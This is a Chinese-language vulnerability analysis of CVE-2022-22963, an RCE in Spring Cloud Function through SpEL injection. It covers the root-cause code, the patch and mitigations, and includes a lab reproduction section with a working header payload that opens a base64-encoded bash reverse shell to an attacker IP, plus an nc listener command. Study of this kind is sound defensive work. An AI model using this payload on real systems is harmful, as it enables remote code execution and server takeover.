CVE-2022-22963源码分析与漏洞复现
漏洞概述
CVE-2022-22963 是 Spring Cloud Function 框架中的高危远程代码执行(RCE)漏洞,影响版本为 3.1.6、3.2.2 及更早的不受支持版本。攻击者通过 HTTP 请求头 spring.cloud.function.routing-expression
注入恶意 SpEL 表达式,触发表达式解析并执行任意命令。该漏洞的核心问题在于路由功能的 SpEL 表达式解析未做安全限制。
技术细节分析
1. 漏洞成因
- SpEL 表达式注入
Spring Cloud Function 的RoutingFunction
在处理路由请求时,直接从 HTTP 请求头或应用配置中提取spring.cloud.function.routing-expression
的值,并作为 SpEL 表达式解析。攻击者可通过构造恶意表达式(如T(java.lang.Runtime).exec("calc")
)触发代码执行。 - 高危上下文配置
使用StandardEvaluationContext
作为 SpEL 执行上下文,允许访问 Java 反射、系统类等敏感操作。
2. 源码分析
入口函数:RoutingFunction.route()
private Object route(Object input, boolean originalInputIsPublisher) {// 关键逻辑分支:处理 Message 类型输入if (input instanceof Message) {Message<?> message = (Message<?>) input;// 检查请求头中的路由表达式if (StringUtils.hasText((String) message.getHeaders().get("spring.cloud.function.routing-expression"))) {function = this.functionFromExpression((String) message.getHeaders().get("spring.cloud.function.routing-expression"), message);}}return function.apply(input); // 执行目标函数
}
触发路径:
- 请求头注入:攻击者设置
spring.cloud.function.routing-expression
头值为恶意表达式。 - 表达式解析:调用
functionFromExpression()
方法解析表达式。 - 代码执行:
StandardEvaluationContext
解析并执行表达式。
关键漏洞点:functionFromExpression()
private final StandardEvaluationContext evalContext =
new StandardEvaluationContext();
//this.evalContext为StandardEvaluationContext类
private FunctionInvocationWrapper functionFromExpression(String routingExpression, Object input) {// 解析用户输入的表达式(漏洞根源)Expression expression = spelParser.parseExpression(routingExpression);// 使用高危上下文执行表达式String functionName = expression.getValue(this.evalContext, input, String.class);return functionCatalog.lookup(functionName); // 查找并返回目标函数
}
问题分析:
spelParser.parseExpression
:直接解析用户输入的routingExpression
,未做过滤。StandardEvaluationContext
:允许执行任意 Java 方法,包括Runtime.exec()
等危险操作。- 上下文绑定:
evalContext
绑定了MapAccessor
和BeanResolver
,进一步扩大了攻击面。
补丁分析
官方修复方案(Commit 0e89ee2):
1. 替换执行上下文
将 StandardEvaluationContext
替换为 SimpleEvaluationContext
,禁用反射和危险操作:
// 修复后代码示例
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
String functionName = expression.getValue(context, input, String.class);
2. 限制表达式来源
若表达式来自 HTTP 头,强制使用安全上下文,禁止使用 StandardEvaluationContext
。
漏洞复现
环境搭建
1.使用 Vulhub 环境启动漏洞靶机:
docker-compose up -d
2.访问访问 http://target:8080,确认服务正常运行
攻击步骤(反弹shell)
1. 构造payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("命令")
- 反弹shell的payload
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==
是bash -i >& /dev/tcp/192.168.1.102/6666 0>&1
的base64
编码(换成自己攻击机的ip和监听端口)
- 最终payload
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}")
//将第一个payload的'命令'替换为反弹shell的payload
2.kail攻击机开启监听
nc -lvvp 6666
3.构造恶意请求
- 用bp抓取访问http://target:8080的包
- 将请求头换为
POST /functionRouter HTTP/1.1
,并添加payload发送请求包
4.验证
- 反弹shell成功
修复方案
1. 升级版本
升级至 Spring Cloud Function 3.1.7+ 或 3.2.3+,修复 SpEL 解析逻辑。
2. 输入过滤
若无法立即升级,通过 WAF 拦截包含 spring.cloud.function.routing-expression
的请求头,并过滤 T()
、#
等关键字。
3. 禁用路由功能
在 application.properties
中移除 spring.cloud.function.definition=functionRouter
配置。
总结
CVE-2022-22963 的根源在于 Spring Cloud Function 对用户输入的高度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,显著降低了攻击面。
参考链接
- Spring Cloud Function 官方公告
- 漏洞修复 Commit 记录
- Vulhub 复现环境
- Akamai 技术分析报告
- CVE-2022-22963 深度解析(FreeBuf)
- CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现